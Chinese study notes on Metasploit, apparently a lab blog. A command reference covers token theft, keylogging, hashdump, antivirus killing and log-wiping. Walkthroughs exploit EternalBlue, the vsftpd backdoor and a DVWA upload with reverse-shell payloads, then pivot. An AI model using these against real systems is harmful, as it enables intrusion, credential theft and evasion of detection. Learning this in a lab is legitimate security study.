Metasploit(学习笔记)
之前阅读了《Ｍetasploit渗透测试指南》准备更深入了解。
ＭＳＦ终端命令： (kali 中Ｔab键自动补全）
show exploits 列出框架中的渗透攻击模块
show payloads 列出框架中攻击载荷
show auxiliary 列出框架中辅助攻击模块
search name 查找框架中攻击模块
info 显示模块的信息
use name 选择要使用的模块
LHOST 要反弹回连的IP
RHOST 目标主机
set function 设置特定的配置参数
show options 显示模块中参数信息
show targets 列出攻击支持的目标平台
set payload 选择要使用的载荷
show advanced 列出所有高级配置
set autorunscript migrate -f 自动迁移到另一个进程
check 检测目标是否存在相应漏洞
exploit 执行攻击 参数-j 在后台运行 -z 完成攻击不进行会话交互 -e 指定编码 -h 帮助文档
session -l 显示可用会话 -l -v 显示会话详情 -s script在会话中运行特定脚本 -K 杀死所有会话
-c cmd 在所有会话上执行一个命令 -u sessionID 升级一个普通会话到meterpreter shell
db_create name 创建一个要使用的数据库
db_connect name 连接要使用的数据库
db_status 显示连接的数据库
workspace 连接的数据库中所有的工作空间
workspace name 要使用的工作空间
workspace -a name 创建一个工作空间
workspace -d name 删除指定的工作空间
workspace -D 删除所有
workspace -r old new 重命名工作空间
db_nmap 利用nmap扫描 数据存到数据库
Ｍeterpreter命令：
help 帮助文档
run scriptname 运行meterpreter脚本 可到scripts/meterpreter目录下查看所有脚本名
sysinfo 显示出目标系统信息
ls 列出目标的文件和文件夹信息
use priv 加载特权提示扩展模块
ps 显示运行进程
migrate PID 迁移到一个指定的进程ＩＤ
use incognito 加载incognito 功能 窃取目标的令牌或是假冒用户
list_tokens -u 列出目标用户的令牌
list_tokens -g 列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\\USERNAME 假冒目标可用令牌
steal_token PID 盗取给定进程的可用令牌 进行令牌假冒
drop_token 停止假冒当前令牌
getsystem 提升到系统用户权限
shell 得到一个可用的交互shell
execute -f cmd.exe -i 执行cmd进行交互
execute -f cmd.exe -i -t 使用可用的令牌执行cmd命令
execute -f cmd.ext -i -H -t 使用令牌执行ｃｍｄ并隐藏进程
rev2self 切换到目标 初始用户
reg command 在目标注册表中进行 增删查
setdesktop number 切换到另一用户界面
screenshot 目标截屏 开启摄像头 等等 可查看ｈｅｌｐ
upload file 上传文件到目标
keyscan_dump 捕获键盘记录
keyscan_stop 停止键盘记录
getprivs 尽量多的获取目标特权
uictl enable keyboard/mouse 控制目标主机键盘和鼠标
background 将当前shell转为后台
hashdump 导出目标口令哈希值
use sniffer 加载嗅探模块
sniffer_interfaces 列出目标所有开放网络接口
sniffer_dump interfaceID pcapname 在目标主机上启动嗅探
sniffer_start interfaceID packet-buffer 在目标主机上针对特定范围的数据包缓存区启动嗅探
sniffer_stats interfaceID 获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 在目标上添加一个用户
add_group_user "Domain Admins" username -h ip 将用户添加到目标主机的域管理组中
clearev 在目标上清除所有日志记录
timestomp 修改文件属性 (反取证）
reboot 重启目标PC
MSFvenom命令：
msfvenom -h 帮助文档
msfvenom -l payloads 列出所有可用载荷
msfvenom -p xxx/xxx/xxx/xxx --payload-options 列出选择的载荷可用配置
msfvenom --help-formats 列出生成的载荷所有保存格式
msfvenom -p xxx/xxx/xxx LHOST=IP LPORT=端口 -f exe -o name.exe 选择的平台 LHOST 回连的ＩＰ ＬＰＯＲＴ会连的端口 -o 生成的文件格式
-e x86/shikata_ga_nai -i 还可进行进行指定多次编码，也可以多次加壳 为了绕过选择平台沙箱检查
BufferRegister=ESI 还可以生成指定的shellcode 让寄存器指向shellcode
Meterpreter后渗透攻击命令：
use priv
getsystem 提权
hashdump 导出哈希值
run migrate 自动迁移到一个独立进程
run killav 杀掉目标杀毒进程
migrate 进程ID
keyscan_start 指定进程 键盘记录
keyscan_dump keyscan_stop
background 后台运行
run post/windows/escalate/bypassuac 绕过windows平台账户控制机制
run post/osx/gather/hashdump 导出OS-X系统的口令哈希值
run post/linux/gather/hashdump 导出linux系统的口令哈希值
——————————————————————————————————————————————————————
可在这查看发布的漏洞 https://www.exploit-db.com/remote/
windows平台的攻击：
靶机IP :192.168.1.103
kali 中启动postgresql service postgresq start
启动命令 > msfconsole 看到久违的画面
连接postgresql 数据库 这是metasploit 默认的数据库
msf > db_status
[*] postgresql connected to msftest我已经连接了，没有连接可以创建数据库
db_connect postgres:[email protected]/msftest #名字随便起 db_status 检查下连接可以用nmap 扫描生产xml 在导入数据 直接在msf终端使用 db_nmap即可
想要导入nmap 扫描的数据 可以用db_import 文件路径导入数据
自动化的攻击图像界面（在kali集成攻击中）： 打开msf终端 直接点击Armitage
Host:默认就可以 Ｐort:默认 User:默认 pass: 默认 直接 Connect
里面集成了很多攻击，自动攻击，Ｎmap扫描 而且和终端关联 可直接在终端查看信息
service -h查看帮助
msf > services -u
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
192.168.1.103 135 tcp msrpc open Microsoft Windows RPC
192.168.1.103 139 tcp netbios-ssn open Microsoft Windows netbios-ssn
192.168.1.103 445 tcp microsoft-ds open Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds workgroup: WORKGROUP
192.168.1.103 49152 tcp msrpc open Microsoft Windows RPC
192.168.1.103 49153 tcp msrpc open Microsoft Windows RPC
192.168.1.103 49154 tcp msrpc open Microsoft Windows RPC
192.168.1.103 49155 tcp msrpc open Microsoft Windows RPC
192.168.1.103 49156 tcp msrpc open Microsoft Windows RPC
Nexpose 漏洞扫描很不错的，不过收费。自己装个免费的吧openvas kali 升级后没了这个软件，不过这东西太慢了。
从nmap扫描的端口看出开放了那些端口,装了那些东西。这台靶机没有修复任何的漏洞。
metasploit提供了很多的模块也能进行扫描 search portscan 查看
search name 查找有很多模块供我们使用
根据扫描的结果，我们尝试相应的攻击search name 会出现一大堆的模块 要选对平台 有辅助模块 exploit 才是攻击模块 445 端口开放 smb 存在远程执行漏洞 选择ms17_0101就能轻松的进入没有修复过漏洞的机器
msf> use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > show options
msf exploit(windows/smb/ms17_010_eternalblue) > show payloads
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.103:49243) at 2018-08-08 07:44:44 +0800
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.103:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
下一步就可以提权了getsystem 键盘记录、开启摄像头、把后门放入ＸＸ进程
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > shell
Process 1332 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>
_____________________________________________________________________________________________________
metasploitable2.0-linux Demo:
扫描结果 根据扫出端口和服务进行 测试
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 21/tcp open ftp vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: | ftp-syst:
[*] Nmap: | STAT:
[*] Nmap: | FTP server status:
[*] Nmap: | Connected to 192.168.1.105
[*] Nmap: | Logged in as ftp
[*] Nmap: | TYPE: ASCII
[*] Nmap: | No session bandwidth limit
[*] Nmap: | Session timeout in seconds is 300
[*] Nmap: | Control connection is plain text
[*] Nmap: | Data connections will be plain text
[*] Nmap: | vsFTPd 2.3.4 - secure, fast, stable
[*] Nmap: |_End of status
[*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp open telnet?
[*] Nmap: 25/tcp open smtp?
[*] Nmap: |_smtp-commands: Couldn't establish connection on port 25
[*] Nmap: 53/tcp open domain ISC BIND 9.4.2
[*] Nmap: | dns-nsid:
[*] Nmap: |_ bind.version: 9.4.2
[*] Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
[*] Nmap: |_http-title: Metasploitable2 - Linux
[*] Nmap: 111/tcp open rpcbind 2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: | program version port/proto service
[*] Nmap: | 100000 2 111/tcp rpcbind
[*] Nmap: | 100000 2 111/udp rpcbind
[*] Nmap: | 100003 2,3,4 2049/tcp nfs
[*] Nmap: | 100003 2,3,4 2049/udp nfs
[*] Nmap: | 100005 1,2,3 39064/tcp mountd
[*] Nmap: | 100005 1,2,3 56439/udp mountd
[*] Nmap: | 100021 1,3,4 41502/udp nlockmgr
[*] Nmap: | 100021 1,3,4 45646/tcp nlockmgr
[*] Nmap: | 100024 1 52480/udp status
[*] Nmap: |_ 100024 1 52706/tcp status
[*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
[*] Nmap: 512/tcp open exec?
[*] Nmap: 513/tcp open login?
[*] Nmap: 514/tcp open shell?
[*] Nmap: 1099/tcp open java-rmi Java RMI Registry
[*] Nmap: 1524/tcp open bindshell Metasploitable root shell
[*] Nmap: 2049/tcp open nfs 2-4 (RPC #100003)
[*] Nmap: 2121/tcp open ccproxy-ftp?
[*] Nmap: 3306/tcp open mysql?
[*] Nmap: |_mysql-info: ERROR: Script execution failed (use -d to debug)
[*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after: 2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2018-07-29T17:22:51+00:00; -9d14h13m00s from scanner time.
[*] Nmap: 5900/tcp open vnc VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: | Protocol version: 3.3
[*] Nmap: | Security types:
[*] Nmap: |_ VNC Authentication (2)
[*] Nmap: 6000/tcp open X11 (access denied)
[*] Nmap: 6667/tcp open irc UnrealIRCd
[*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: MAC Address: F4:B7:E2:01:6D:06 (Hon Hai Precision Ind.)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.9 - 2.6.33
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Hosts: localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_clock-skew: mean: -9d12h12m59s, deviation: 2h49m43s, median: -9d14h13m00s
[*] Nmap: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: , NetBIOS MAC: (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: | OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: | NetBIOS computer name:
[*] Nmap: | Workgroup: WORKGROUP\x00
[*] Nmap: |_ System time: 2018-07-29T13:22:21-04:00
[*] Nmap: |_smb2-time: Protocol negotiation failed (SMB2)
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT ADDRESS
[*] Nmap: 1 12.04 ms 192.168.1.101
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 210.00 seconds
ftp vsftpd 2.3.4 这个版本 在msf 搜寻模块
一些比较古老的漏洞不一定不存在的 可以去找找试试 说不定就发现了什么０．０
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent VSFTPD v2.3.4 Backdoor Command Executionmsf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.105:35771 -> 192.168.1.101:6200) at 2018-08-08 16:20:45 +0800
who
msfadmin tty1 Jul 29 03:56
root pts/0 Jul 29 03:56 (:0.0)
使用telnet 可以触发 还有很多手工方式
这个漏洞载荷是以 :) 拼接到用户名后面 得到一个shell 谁都可以连接到6200端口上
模块源码可在kali中找到 /usr/share/metasploit-framework/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
＿＿＿＿
从DVWA这个Web应用找个入口到服务器提权 先从文件上传开始 设置的安全级别为高
先生产一个payload.php的文件木马 然后ｍsf终端监听
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f raw >payload.php msf > use exploit/multi/handler
msf exploit(multi/handler) > show options
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
msf exploit(multi/handler) > set LHOST 192.168.1.105
LHOST => 192.168.1.105
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.105:4444这高级别的只能上传图片 使用文件包含试试 %00文件截断试试
简单点 直接在burp 中抓包修改提交的payload.php 后面添加上.jpg上传就能绕过
然后直接访问 我们的上传路径
http://192.168.1.101/dvwa/hackable/uploads/payload.php ＃的到一个webshellmeterpreter > shell
Process 19014 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/dvwa/hackable/uploads
提取权限：思路是这样的 寻找linux 版本 反正各种找啊 模拟多玩玩
meterpreter > shell
Process 19277 created.
Channel 0 created.
ls -ll
total 80
-rw------- 1 www-data www-data 67732 Jul 29 18:34 b.jpg
-rw-r--r-- 1 www-data www-data 667 Mar 16 2010 dvwa_email.png
-rw------- 1 www-data www-data 1114 Jul 29 18:40 payload.php.jpg
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
cat /etc/issue
_ _ _ _ _ _ ____
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | | __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | | __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
|_|
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04"
然后 searchsploit 找相应的 exp 上传 在编译
meterpreter > shell
Process 19355 created.
Channel 0 created.
ls
9083.c.jpg
b.jpg
dvwa_email.png
payload.php.jpg
mv 9083.c.jpg 9083.c
ls
9083.c
b.jpg
dvwa_email.png
payload.php.jpg
gcc 9083.c
9083.c:34:26: error: netinet/sctp.h: No such file or directory
9083.c:51:2: error: #error "Architecture Unsupported"
9083.c:52:2: error: #error "This code was written for x86-64 target and has to be built as x86-64 binary"
9083.c:617:28: warning: no newline at end of file
＿＿＿＿＿＿＿＿＿＿＿
跳板攻击,通过在目标机器上建立隧道,对内网其它机器进行攻击
[*] Started reverse TCP handler on 192.168.1.105:4444
[*] Sending stage (179779 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.105:4444 -> 192.168.1.102:54061) at 2018-11-05 20:47:33 +0800
meterpreter > run get_
run get_application_list run get_filezilla_creds run get_pidgin_creds
run get_env run get_local_subnets run get_valid_community
meterpreter > run get_local_subnets #显示受控机器上的本地子网
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.1.0/255.255.255.0
Local subnet: 192.168.56.0/255.255.255.0
Local subnet: 192.168.168.0/255.255.255.0
Local subnet: 192.168.192.0/255.255.255.0
meterpreter > background #把会话放入后台运行
[*] Backgrounding session 1...
msf exploit(multi/handler) > route add 192.168.192.0 225.225.225.0 1 #添加路由 通过会话1
[*] Route added
msf exploit(multi/handler) > route print #查看当前路由设置
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
192.168.192.0 225.225.225.0 Session 1
[*] There are currently no IPv6 routes defined选择漏洞利用模块实施攻击
msf exploit(multi/handler) > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.192.128
rhost => 192.168.192.128
msf exploit(unix/ftp/vsftpd_234_backdoor) > ifconfig
[*] exec: ifconfig
wlan0: flags=4163 mtu 1500
inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.192.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.192.128:21 - USER: 331 Please specify the password.
[+] 192.168.192.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.192.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.1.105-192.168.1.102:0 -> 192.168.192.128:6200) at 2018-11-05 20:58:16 +0800
id
uid=0(root) gid=0(root)
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:fa:dd:2a
inet addr:192.168.192.128 Bcast:192.168.192.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fefa:dd2a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:119 errors:0 dropped:0 overruns:0 frame:0
TX packets:79 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:15161 (14.8 KB) TX bytes:8427 (8.2 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:174 errors:0 dropped:0 overruns:0 frame:0
TX packets:174 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:58781 (57.4 KB) TX bytes:58781 (57.4 KB)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux